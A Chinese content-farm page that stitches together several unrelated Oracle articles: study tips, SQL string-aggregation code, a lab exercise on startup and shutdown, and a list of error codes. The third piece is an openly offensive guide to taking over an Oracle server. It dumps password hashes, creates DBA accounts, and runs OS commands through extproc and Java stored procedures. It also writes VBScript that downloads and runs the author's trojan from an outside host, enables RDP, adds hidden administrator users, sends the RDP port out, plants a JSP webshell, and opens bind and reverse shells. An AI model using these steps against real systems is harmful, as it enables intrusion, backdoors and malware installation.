欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>Oracle的学习方法

Oracle的学习方法

2023-05-05 08:30:28 收藏本文 下载本文

“feilongf8”通过精心收集,向本站投稿了8篇Oracle的学习方法,以下是小编整理后的Oracle的学习方法,希望能够帮助到大家。

Oracle的学习方法

篇1:oracle学习方法

我的方法很简单,就是:看书、思考、写笔记、做实验、再思考、再写笔记 ,

看完理论的东西,自己静下心来想想,多问自己几个为什么,然后把所学和所想的知识点做个笔记;在想不通或有疑问的时候,就做做实验,想想怎么会这样,同样的,把实验的结果记下来。思考和做实验是为了深入的了解这个知识点。而做笔记的过程,也是理清自己思路的过程。

学习的过程是使一个问题由模糊到清晰,再由清晰到模糊的过程。而每次的改变都代表着你又学到了一个新的知识点。

学习的过程也是从点到线,从线到网,从网到面的.过程。当点变成线的时候,你会有总豁然开朗的感觉。当网到面的时候,你就是高手了

很多网友,特别是初学的人,一碰到问题就拿到论坛上来问,在问前,你有没有查过书,自己有没有研究过,有没有搜索一下论坛?这就叫思维惰性。由别人来回答你的问题,会让你在短时间内不费劲地弄懂这个知识点,然而通过自己的努力去研究它,不但会更深入的了解这个知识点,更重要的是在研究的过程会提高你解决问题和分析问题的能力,

总的来说,没有钻研的学习态度,不管学什么东西,都不会成功的。

当然,初学的人很多时候是因为遇到问题时,无从下手,也不知道去哪里找资料,才会到论坛上提问题的。但我认为,在提问的时候,是不是可以问别人是如何分析这个问题?从哪里可以找到相关的资料?而不是这个问题的答案是什么?授人以鱼不如授人以渔。

下面我讲下我处理问题的过程

首先要知道oracle的 :www.oracle.com 这里有oracle的各种版本的数据库、应用工具和权威的官方文档。其次,还要知道metalink.oracle.com/这里是买了oracle服务或是oracle的合作伙伴才可以进去的,里面有很多权威的解决方案和补丁。然后就是一些著名网站:asktom.oracle.com www.orafaq.net, www.dbazine.com。这里有很多经验之谈。

遇到问题了。如果是概念上的问题,第一时间可以找tahiti.oracle.com,这里会给你最详细的解释。如果在运行的过程中出了什么错误。可以去metalink看看。如果是想知道事务的处理的经验之谈。可以去asktom。当然。这里只是相对而言。

篇2:Oracle的学习方法

我的方法很简单,就是:看书、思考、写笔记、做实验、再思考、再写笔记 ,

看完理论的东西,自己静下心来想想,多问自己几个为什么,然后把所学和所想的知识点做个笔记;在想不通或有疑问的时候,就做做实验,想想怎么会这样,同样的,把实验的结果记下来。思考和做实验是为了深入的了解这个知识点。而做笔记的.过程,也是理清自己思路的过程。

学习的过程是使一个问题由模糊到清晰,再由清晰到模糊的过程。而每次的改变都代表着你又学到了一个新的知识点。

学习的过程也是从点到线,从线到网,从网到面的过程,

当点变成线的时候,你会有总豁然开朗的感觉。当网到面的时候,你就是高手了

很多网友,特别是初学的人,一碰到问题就拿到论坛上来问,在问前,你有没有查过书,自己有没有研究过,有没有搜索一下论坛?这就叫思维惰性。由别人来回答你的问题,会让你在短时间内不费劲地弄懂这个知识点,然而通过自己的努力去研究它,不但会更深入的了解这个知识点,更重要的是在研究的过程会提高你解决问题和分析问题的能力。总的来说,没有钻研的学习态度,不管学什么东西,都不会成功的。

当然,初学的人很多时候是因为遇到问题时,无从下手,也不知道去哪里找资料,才会到论坛上提问题的。但我认为,在提问的时候,是不是可以问别人是如何分析这个问题?从哪里可以找到相关的资料?而不是这个问题的答案是什么?授人以鱼不如授人以渔。

篇3:oracle技术文档

作者:Robert

配合open那个工具

第一部分

基本查询指令

select * from V$PWFILE_USERS //查看dba用户

select * from v$version //查看oracle版本以及系统版本

select * from session_privs;// 查看当前用户拥有的权限值

select * from user_role_privs\\查询当前用户角色

select * from user_sys_privs\\查询当前用户系统权限

select username,password from dba_users; //查看所有用户密码hash

select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限

grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限

Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码

Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash

create user bob identified by iloveyou;\\建用户bob密码iloveyou

grant dba to bob;\\赋予bob DBA权限

grant execute on xmldom to bob \\赋予用户execute

Create ROLE “javauserpriv” NOT IDENTIFIED

Create ROLE “javasyspriv” NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用

select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限

select * from dba_directories;\\查看路径所在目录

第二部分,创建java,执行系统命令

no.1

Create or REPLACE LIBRARY exec_shell AS 'c:\windows\system32\msvcrt.dll';

/

show errors

Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

Create or REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME “system”

LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

show errors上面这个没有回显的

如果不行可以使用下面这个

Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';

/

show errors

Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

Create or REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME “system”

LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

show errors执行完后

执行

exec oracmd.exec ('net1 user robert iloveyou /add');no2.

Create or REPLACE AND COMPILE JAVA SOURCE NAMED “Host” AS

import java.io.*;

public class Host {

public static void executeCommand(String command) {

try {

String[] finalCommand;

if (isWindows) {

finalCommand = new String[4];

// Use the appropriate path for your windows version.

finalCommand[0] = “C:\\windows\\system32\\cmd.exe”; // Windows XP/

//finalCommand[0] = “C:\\winnt\\system32\\cmd.exe”; // Windows NT/

finalCommand[1] = “/y”;

finalCommand[2] = “/c”;

finalCommand[3] = command;

}

else {

finalCommand = new String[3];

finalCommand[0] = “/bin/sh”;

finalCommand[1] = “-c”;

finalCommand[2] = command;

}

final Process pr = Runtime.getRuntime().exec(finalCommand);

pr.waitFor();

new Thread(new Runnable(){

public void run() {

BufferedReader br_in = null;

try {

br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));

String buff = null;

while ((buff = br_in.readLine()) != null) {

System.out.println(“Process out :” + buff);

try {Thread.sleep(100); } catch(Exception e) {}

}

br_in.close();

}

catch (IOException ioe) {

System.out.println(“Exception caught printing process output.”);

ioe.printStackTrace();

}

finally {

try {

br_in.close();

} catch (Exception ex) {}

}

}

}).start();

new Thread(new Runnable(){

public void run() {

BufferedReader br_err = null;

try {

br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));

String buff = null;

while ((buff = br_err.readLine()) != null) {

System.out.println(“Process err :” + buff);

try {Thread.sleep(100); } catch(Exception e) {}

}

br_err.close();

}

catch (IOException ioe) {

System.out.println(“Exception caught printing process error.”);

ioe.printStackTrace();

}

finally {

try {

br_err.close();

} catch (Exception ex) {}

}

}

}).start();

}

catch (Exception ex) {

System.out.println(ex.getLocalizedMessage());

}

}

public static boolean isWindows() {

if (System.getProperty(“os.name”).toLowerCase().indexOf(“windows”) != -1)

return true;

else

return false;

}

};

/

Create or REPLACE PROCEDURE host_command (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME 'Host.executeCommand (java.lang.String)';

/

EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '', 'read ,write, execute, delete');

EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');

EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

/

DECLARE

l_output DBMS_OUTPUT.chararr;

l_lines INTEGER := 1000;

BEGIN

DBMS_OUTPUT.enable(1000000);

DBMS_JAVA.set_output(1000000);

host_command('dir C:\');

DBMS_OUTPUT.get_lines(l_output, l_lines);

END;这个要注意两点

win下注意系统路径

linx下注意注释掉win

最后一句就是执行命令的

host_command('dir C:\');

no3.

create or replace and compile

java souRCe named “util”

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}

/

create or replace

function RUN_CMz(p_cmd in varchar2) return number

as

language java

name 'util.RunThis(java.lang.String) return integer';

/

create or replace procedure RC(p_cmd in varChar)

as

x number;

begin

x := RUN_CMz(p_cmd);

end;

/

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户

grant javasyspriv to system最后执行

exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件

no1.

建立目录

create or replace directory DIR as 'C:\';此目录当然也可以是启动目录

授权

grant read, write on directory DIR to system这步可以不用

然后执行操作

写文件

declare

file utl_file.file_type;

begin

file := utl_file.fopen('DIR', 'test.vbs', 'W');

utl_file.put_line(file, 'Set xPost=CreateObject(“Microsoft.XMLHTTP”)

xPost.Open “GET”,“http:/ /blog.cnmoker.org/rad.exe”,0

xPost.Send()

Set sGet=CreateObject(“ADODB.Stream”)

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile “c:\rad.exe”,2');

utl_file.fflush(file);

utl_file.fclose(file);

end;

/

exec :x:=run_cmz('cscript. c:\test.vbs');

/

exec :x:=run_cmz('c:\rad.exe');这步操作讲下载我的木马到c盘并执行

declare

file utl_file.file_type;

begin

file := utl_file.fopen('DIR', '3389.vbs', 'W');

utl_file.put_line(file, 'Dim OperationRegistry

Set perationRegistry=WScript.createObject(“WScript.Shell”)

Dim TSPort,TSState,TSRegPath

TSRegPath=“HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”

TSPort=OperationRegistry.RegRead(TSRegPath)

TSRegPath=“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections”

TSState=OperationRegistry.RegRead(TSRegPath)

If TSState=0 Then

Else

OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”

End If');

utl_file.fflush(file);

utl_file.fclose(file);

end;

/

exec :x:=run_cmz('cscript. c:\3389.vbs');vbs开启3389

declare

file utl_file.file_type;

begin

file := utl_file.fopen('DIR', 'user.vbs', 'W');

utl_file.put_line(file, 'set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)

s=“WinNT://”'||'&'||'wsnetwork.ComputerName

Set a=CreateObject(“Scripting.FileSystemObject”)

Set b=GetObject(os)

Set e=GetObject(os&“/Administrators,group”)

Set d=ob.Create(“user”,“bob”)

od.SetPassword “123456abc!@#”

od.SetInfo

Set f=GetObject(os&“/bob”,user)

oe.add os&“/bob”

oa.DeleteFile(“user.vbs”)');

utl_file.fflush(file);

utl_file.fclose(file);

end;

/

/

exec :x:=run_cmz('cscript. c:\user.vbs');无net添加admin用户

declare

file utl_file.file_type;

begin

file := utl_file.fopen('DIR', '3389p.vbs', 'W');

utl_file.put_line(file, '

Dim OperationRegistry

Set perationRegistry=WScript.createObject(“WScript.Shell”)

Dim TSPort,TSState,TSRegPath

TSRegPath=“HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber”

TSPort=OperationRegistry.RegRead(TSRegPath)

Set xPost=CreateObject(“Microsoft.XMLHTTP”)

xPost.Open “GET”,“blog.cnmoker.org/read3389/ro.asp?port=” '||'ccccc'||' TSPort,0

xPost.Send()

TSRegPath=“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections”

TSState=OperationRegistry.RegRead(TSRegPath)

If TSState=0 Then

Else

OperationRegistry.RegWrite TSRegPath,0,“REG_DWORD”

End If

set bj=wscript.createObject(“wscript.shell”)

obj.Run(“sc config TermService start= demand”)

obj.Run(“sc stop TermService”)

obj.Run(“sc start TermService”)

wscript.quit

');

utl_file.fflush(file);

utl_file.fclose(file);

end;

/

exec :x:=run_cmz('cscript. c:\3389p.vbs');

/

exec :x:=run_cmz('del c:\3389p.vbs');

/

blog.cnmoker.org/read3389/read.asp这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里

这个read.asp和ro.asp自己写吧

到此win下操作基本上是完成了

第三部分 linux的一些操作

linux的操作要用到sqlj语言

其实ISTO的kj总早就写了一些

我总结

create or replace and compile java source named bob as

import java.io.*;

import java.net.*;

public class BOB{

public static String listFolder(String path){

File f=null;

String str=“”;

f=new File(path);

String[] files=f.list();

if(files!=null)

for(int i=0;i

str+=files[i]+“\r\n”;

}

return str;

}

public static String saveFile(String filepath,String value){

FileOutputStream fos=null;

try {

fos=new FileOutputStream(filepath);

fos.write(value.getBytes());

return “OK”;

} catch (Exception e) {

return e.getMessage();

} finally{

if(fos!=null){

try {fos.close();} catch (Exception e) {}

}

}

}

public static String readFile(String pathfile,String code){

BufferedReader br=null;

String value=“”;

try {

br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));

String s=null;

while((s=br.readLine())!=null){

value+=s;

}

return value;

} catch (Exception e) {

return e.getMessage();

} finally{

if(br!=null){try {br.close();} catch (IOException e) {}}

}

}

public static String execFile(String filepath,String code){

int i=0;

Runtime rt=Runtime.getRuntime();

String utput=“”;

InputStreamReader isr = null;

char[] bufferC=new char[1024];

try{

Process ps=rt.exec(filepath);

isr=new InputStreamReader(ps.getInputStream(),code);

while((i=isr.read(bufferC,0,bufferC.length))!=-1){

output+=new String(bufferC,0,i);

}

return output;

}catch(Exception e){

return e.getMessage();

}finally{

if(isr!=null)try {isr.close();} catch (IOException e) {}

}

}

public static String bindShell(int port){

ServerSocket ss=null;

Socket s=null;

try {

ss = new ServerSocket(port);

s=ss.accept();

new optShell(ss,s).start();

return “OK”;

} catch (Exception e) {

return e.getMessage();

}

}

public static String reverseShell(String host,int port){

Socket s=null;

try{

s=new Socket(host,port);

new optShell(null,s).start();

return “OK”;

}catch(Exception e){

return e.getMessage();

}

} //反弹shell的sqlj语句

public static class optShell extends Thread{

OutputStream s=null;

InputStream is=null;

ServerSocket ss;

Socket s;

public optShell(ServerSocket ss,Socket s){

this.ss=ss;

this.s=s;

try{

this.is=s.getInputStream();

this.os=s.getOutputStream();

}catch(Exception e){

if(os!=null)try {os.close();} catch(Exception ex) {}

if(is!=null)try {is.close();} catch(Exception ex) {}

if(s!=null)try {s.close();} catch(Exception ex) {}

if(ss!=null)try {ss.close();} catch(Exception ex) {}

}

}

public void run(){

BufferedReader br=new BufferedReader(new InputStreamReader(is));

String line=“”;

String cmdhelp=“Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n”;

try {

//os.write(cmdhelp.getBytes());

line=br.readLine();

while(!“exit”.equals(line)){

if(line.length()>3){

StringBuffer sb=new StringBuffer(line.trim());

String cmd=sb.substring(0, 4);

if(cmd.equals(“list”)){

os.write(“input you path:\r\n”.getBytes());

line=br.readLine();

os.write(listFolder(line).getBytes());

}else if(“save”.equals(cmd)){

os.write(“input you filepath:\r\n”.getBytes());

line=br.readLine();

os.write(“input you value:\r\n”.getBytes());

os.write(saveFile(line,br.readLine()).getBytes());

}else if(“read”.equals(cmd)){

os.write(“input you filepath:\r\n”.getBytes());

line=br.readLine();

os.write(“input you code examle:GBK\r\n”.getBytes());

os.write(readFile(line,br.readLine()).getBytes());

}else if(“exec”.equals(cmd)){

os.write(“input you run filepath:\r\n”.getBytes());

line=br.readLine();

os.write(“input you code examle:GBK\r\n”.getBytes());

os.write(execFile(line,br.readLine()).getBytes());

}else{

os.write(cmdhelp.getBytes());

}

}else{

os.write(cmdhelp.getBytes());

}

line=br.readLine();

}

} catch (Exception e) {

e.printStackTrace();

}finally{

if(os!=null)try {os.close();} catch(Exception e) {}

if(is!=null)try {is.close();} catch(Exception e) {}

if(s!=null)try {s.close();} catch(Exception e) {}

if(ss!=null)try {ss.close();} catch(Exception e) {}

}

}

}

}

/

create or replace function BOB_LISTFOLDER(str varchar2) return varchar2

as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';

/

create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2

as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';

/

create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2

as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';

/

create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2

as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';

/

create or replace function BOB_BINDSHELL(port number) return varchar2

as language java name 'BOB.bindShell(int) return java.lang.String';

/

begin

Dbms_Java.Grant_Permission('scott','java.io.FilePermission','','read,write,execute,delete');

Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');

Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');

end;这么一大段,仔细看

执行完后

Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录

Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令

Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件

Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG

Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去

其中本来还有reserver shell的

我还没来的及测试

我自己是更中意反弹shell的

特别是linux

好操作的多

再说有时候linux是nat出来的

反弹就去了许多麻烦

第四部分 技巧

一句话读取3389端口

exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server\WinStations\RDP-Tcp /v PortNumber');一句话开3389 只合适win 2k3

exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal“ ”Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');删除pcanywhere导致的终端登陆错误

exec :x:=run_cmz('reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v GinaDLL /f');感谢kj,和linx的文章.

最后说下,关于web injection部分

有时间在整理吧

不妥之处,请指教 QQ:1972097

篇4:Oracle深入学习

管理:可以考OCP证书,对oracle先有一个系统的学习,然后看Oracle Concepts、oracle online document,对oracle的原理会有更深入的了解,同时可以开始进行一些专题的研究如:RMAN、RAS、STATSPACT、DATAGUARD、TUNING、BACKUP&RECOVER等等,

开发:对于想做Oracle开发的.,在了解完Oracle基本的体系结构之后,可以重点关注PL/SQL及Oracle的开发工具这一部分,

PL/SQL主要是包括怎么写SQL语句,怎么使用Oracle本身的函数,怎么写存储过程、存储函数、触发器等。 Oracle的开发工具主要就是Oracle自己的Developer Suite(Oracle Forms Developer and Reports Developer这些),学会如何熟练使用这些工具。

介绍几本oracle入门的好书

oracle官方文档:《concept》上面讲了oracle的体系和概念,很适合初学者看。

OCP的教学用书,也就是STUDY GUIDE(SG)。

Oracle8i 备份恢复手册

Oracle8高级管理与优化

Oracle8i PLSQL程序设计

Oracle8数据库管理员手册

篇5:关于oracle字符串

使用的代码

代码如下

-- sample data

drop table t_collect purge;

create table t_collect as

select mod(rownum,30) as flag, lpad(dbms_random.string('l',3),4,' ') as val

from dual connect by rownum<=10000;

collect函数(Oracle10g)

-- 1: use collect funtion

select flag,

my_tk.f_list2str(cast(collect(trim(val)) as my_tk_str_tab_type)) as ename

from t_collect sample(10)

group by flag

order by 1;

sys_connect_by_path

-- 2: use sys_connect_by_path and row_number function

select t1.flag, substr(max(sys_connect_by_path(t1.val, ',')), 2) q

from (select a.flag,

trim(a.val) as val,

row_number over(partition by a.flag order by a.val) rn

from t_collect sample(10) a) t1

start with t1.rn = 1

connect by t1.flag = prior t1.flag

and t1.rn - 1 = prior t1.rn

group by t1.flag

order by 1;

user-defined-function

-- 3: use user-defined-function

select flag,

string_agg(trim(val)) as ename

from t_collect sample(10)

group by flag

order by 1;

辅助用的my_tk包代码片段

代码如下

create or replace type my_tk_str_tab_type is table of varchar2(100);

---------------------------------------------------------------------

function f_list2str

(

p_list      my_tk_str_tab_type,

p_separator varchar2 default ',',

p_sort      integer default 1

) return varchar2 is

l_idx  pls_integer := 0;

l_str  varchar2(32767) := null;

l_spt  varchar2(10) := null;

l_list my_tk_str_tab_type := p_list;

begin

if p_sort = 1 then

l_list := f_sort_list(p_list);

end if;

l_idx := l_list.first;

while l_idx is not null loop

l_str := l_str || l_spt || l_list(l_idx);

l_spt := p_separator;

l_idx := l_list.next(l_idx);

end loop;

return l_str;

end;

自定义聚合函数

------------------------------------------------------------------

代码如下

-- user-defined-function

CREATE OR REPLACE TYPE t_string_agg AS OBJECT

(

g_string  VARCHAR2(32767),

STATIC FUNCTION ODCIAggregateInitialize(sctx  IN OUT  t_string_agg)

RETURN NUMBER,

MEMBER FUNCTION ODCIAggregateIterate(self   IN OUT  t_string_agg,

value  IN      VARCHAR2 )

RETURN NUMBER,

MEMBER FUNCTION ODCIAggregateTerminate(self         IN   t_string_agg,

returnValue  OUT  VARCHAR2,

flags        IN   NUMBER)

RETURN NUMBER,

MEMBER FUNCTION ODCIAggregateMerge(self  IN OUT  t_string_agg,

ctx2  IN      t_string_agg)

RETURN NUMBER

);

/

CREATE OR REPLACE TYPE BODY t_string_agg IS

STATIC FUNCTION ODCIAggregateInitialize(sctx  IN OUT  t_string_agg)

RETURN NUMBER IS

BEGIN

sctx := t_string_agg(NULL);

RETURN ODCIConst.Success;

END;

MEMBER FUNCTION ODCIAggregateIterate(self   IN OUT  t_string_agg,

value  IN      VARCHAR2 )

RETURN NUMBER IS

BEGIN

SELF.g_string := self.g_string || ',' || value;

RETURN ODCIConst.Success;

END;

MEMBER FUNCTION ODCIAggregateTerminate(self         IN   t_string_agg,

returnValue  OUT  VARCHAR2,

flags        IN   NUMBER)

RETURN NUMBER IS

BEGIN

returnValue := RTRIM(LTRIM(SELF.g_string, ','), ',');

RETURN ODCIConst.Success;

END;

MEMBER FUNCTION ODCIAggregateMerge(self  IN OUT  t_string_agg,

ctx2  IN      t_string_agg)

RETURN NUMBER IS

BEGIN

SELF.g_string := SELF.g_string || ',' || ctx2.g_string;

RETURN ODCIConst.Success;

END;

END;

/

CREATE OR REPLACE FUNCTION string_agg (p_input VARCHAR2)

RETURN VARCHAR2

PARALLEL_ENABLE AGGREGATE USING t_string_agg;

/

最后给个参考表

在数据量10000的表上进行三种方法的测试,运行时间单位秒

数据量PCT     Collect      SYS_Connect       UDF

1%            0.017              0.018            0.017

10%          0.026              0.050            0.029

50%          0.057              2.45              0.065

100%        0.090              5.00              1.06

篇6:oracle实验报告

oracle实验报告模板

实验 1数据库管理

一、目的和要求

(1)了解 Oracle 数据库的逻辑结构和物理结构;

(2)了解 Oracle Enterprise Manager 的使用情况;

(3)学习关闭和启动数据库实例的方法;

(4)学习使用 SQL 语句创建数据库的方法;

(5)学习使用 SQL 语句删除数据库的方法。

二、实验准备

首先要了解 Oracle 数据库的逻辑结构,包括方案(schema)对象、数据块(data block)、区间(extent)、段(segment)和表空间(tablespace)等。数据库由若干个表空间组成,表空间由表组成,段由区间组成,区间则由数据块组成。Oracle 数据库的物理结构由构成数据库的操作系统文件所决定。每个 Oracle 数据库都由 3 种类型的文件组成:数据文件、日志文件和控制文件。这些数据库文件为数据库信息提供真正的物理存储。

Enterprise Manager 10g 是 Oracle 10g 提供的新的管理工具,简称 EM。使用它可以完成启动、关闭数据库,创建、删除数据库等功能。只有系统管理员或拥有 CREAT E DATABASE权限的用户才能创建数据库。可以在 Enterprise Manager 中通过图形界面创建数据库,也可以使用 CREATE DATABASE 语句创建数据库。

三、实验内容

(1)练习使用不同方法启动和关闭数据库实例。

(2)练习使用不同 方法创建和删除数据库,要使操作的数据库为用户管理数据库UserMan。

1.使用 SHUTDOWN 命令关闭数据库实例

练习使用 SHUTDOWN 命令关闭数据库实例,分别按以下方式启动数据库实例。

(1)正常关闭。等待当前所有已连接的用户断开与数据库的连接,然后关闭数据库。

正常关闭的语句如下:

SHUTDOWN NORMAL

(2)立即关闭。回退活动事务处理并断开所有已连接的用户,然后关闭数据库。立即

关闭的语句如下:

SHUTDOWN IMMEDIATE

(3)事务处理关闭。完成事务处理后断开所有已连接的用户,然后关闭数据库。事务

处理关闭的`语句如下:

SHUTDOWN TRANSACTIONAL

(4)中止关闭。中止数据库实例,立即关闭数据库。中止关闭的语句如下: SHUTDOWN ABORT

每次执行 SHUTDOWN 语句关闭数据库实例之前,请执行 STARTUP 命令启动数据库。

2.使用 STARTUP 命令启动数据库实例

练习使用 STARTUP 命令启动数据库实例,分别按以下方式启动数据库实例。

(1)启动数据库实例时不装载数据库。执行此操作的命令如下:

STARTUP NOMOUNT

(2)启动数据库实例,装载数据库,但不打开数据库。通常在数据库维护时执行此操作,对应的命令如下:

STARTUP MOUNT

(3)启动后限制对数据库实例的访问。执行此操作的命令如下:

STARTUP RESTRICT

(4)强制实例启动。在遇到特殊异常的情况时,可以强制启动实例。强制启动实例的

语句如下:

STARTUP FORCE

每次执行 STARTUP 语句启动数据库实例之前,请执行 SHUTDOWN 命令关闭数据库。

3.使用 ORACLE Enterprise Manager 关闭数据库实例

按照下面的步骤关闭数据库实例。

(1)在数据库处于打开状态 时,使用 SYS 用户以 SYSD BA 身份登录到 EnterpriseManager。在主目录页面的“一般信息”栏目中,可以看到“关闭”按钮。

(2)单击“关闭”按钮,可以打开“主机和目标数据库身份证明”页面。用户需要拥有管理员 的权限才能关闭数据库实 例,包 括主机操作 系统的管理员和当前数据库实例的SYSDBA 用户。

(3)输入完成后,单击“确定”按钮,打开“确认关闭”页面。

(4)单击“是”按钮,开始关闭数据库。关闭操作完成后,单击“刷新”按钮,打开“启动数据库实例”页面。

4.使用 ORACLE Enterprise Manager 启动数据库实例

按照下面的步骤启动数据库实例。

(1)使用 SYS 用户以 SYSDBA 身份登录到 Enterprise Manager。

(2)单击“启动”按钮,打开“主机和目标数据库身份证明”页面。用户需要拥有管理员的权限才能启动数据库实例,包括主机操作系统的管理员和当前数据库实例的SYSD BA用户。

(3)输入完成后,单击“确定”按钮,打开“确认打开”页面。

(4)单击“是”按钮,开始打开数据库。

5.使用 SQL 语句创建数据库

按照如下条件创建数据库 UserMan。

(1)设置 SYS 用户的密码为 SYSPWD,设置 SYSTEM 用户的密码为 SYSTEMPWD。

(2)使用已有的控制文件。

(3)指定日志文件组 redo01.log,大小为 10MB;指定日志文件组 redo02.log,大小为10MB。设置最大的日志文件数量为 10。

(4)定义日志文件组中最大的日志文件数量为 5。

(5)定义最大的数据文件数量为 100。

(6)定义数据库中最大的实例数量为 1。

(7)定义存储数据的字符集为 US7ASCII。

(8)定义数据文件名称为 SYS01.dbf,初始大小为 100MB。

(9)定义默认的表空间为 tbs_1。

篇7:Oracle错误代码

Oracle错误代码大全——最新、最全的Oracle错误代码 对快速查找oracle数据库错误原因很有帮助

ORA-00001: 违反唯一约束条件 (.)

ORA-00017: 请求会话以设置跟踪事件

ORA-00018: 超出最大会话数

ORA-00019: 超出最大会话许可数

ORA-00020: 超出最大进程数 

ORA-00021: 会话附属于其它某些进程;无法转换会话

ORA-00022: 无效的会话 ID;访问被拒绝

ORA-00023: 会话引用进程私用内存;无法分离会话

ORA-00024: 单一进程模式下不允许从多个进程注册

ORA-00025: 无法分配

ORA-00026: 丢失或无效的会话 ID

ORA-00027: 无法删去当前会话

ORA-00028: 您的会话己被删去

ORA-00029: 会话不是用户会话

ORA-00030: 用户会话 ID 不存在,

ORA-00031: 标记要删去的会话

ORA-00032: 无效的会话移植口令

ORA- 00033: 当前的会话具有空的移植口令

ORA-00034: 无法在当前 PL/SQL 会话中

ORA-00035: LICENSE_MAX_USERS 不能小于当前用户数

ORA-00036: 超过递归SQL() 级的最大值

ORA-00037: 无法转换到属于不同服务器组的会话

ORA-00038: 无法创建会话: 服务器组属于其它用户

ORA-00050: 获取入队时操作系统出错

ORA-00051: 等待资源超时

ORA-00052: 超出最大入队资源数 ()

ORA-00053: 超出最大入队数

ORA-00054: 资源正忙,要求指定 NOWAIT

ORA-00055: 超出 DML 锁的最大数

ORA-00056: 对象 '.' 上的 DDL 锁以不兼容模式挂起

ORA-00057: 超出临时表锁的最大数

ORA-00058: DB_BLOCK_SIZE 必须为才可安装此数据库(非 )

ORA-00059: 超出 DB_FILES 的最大值

ORA-00060: 等待资源时检测到死锁

ORA-00061: 另一个例程设置了不同的 DML_LOCKS

ORA-00062: 无法获得 DML 全表锁定;DML_LOCKS 为 0

ORA-00063: 超出 LOG_FILES 的最大数

ORA-00064: 对象过大以至无法分配在此 O/S (,)

ORA-00065: FIXED_DATE 的初始化失败

ORA-00066: LOG_FILES 为  但需要成为  才可兼容

ORA-00067: 值  对参数  无效;至少必须为

ORA-00068: 值  对参数  无效,必须在  和  之间

ORA-00069: 无法获得锁定 -- 禁用了表锁定

ORA-00070: 命令无效

ORA-00071: 进程号必须介于 1 和  之间

ORA-00072: 进程“”不活动

ORA-00073: 命令  介于  和  个参数之间时使用

ORA-00074: 未指定进程

ORA-00075: 在此例程未找到进程 “”

ORA-00076: 未找到转储

ORA-00077: 转储  无效

ORA-00078: 无法按名称转储变量

ORA-00079: 未找到变量

ORA-00080: 层次  指定的全局区域无效

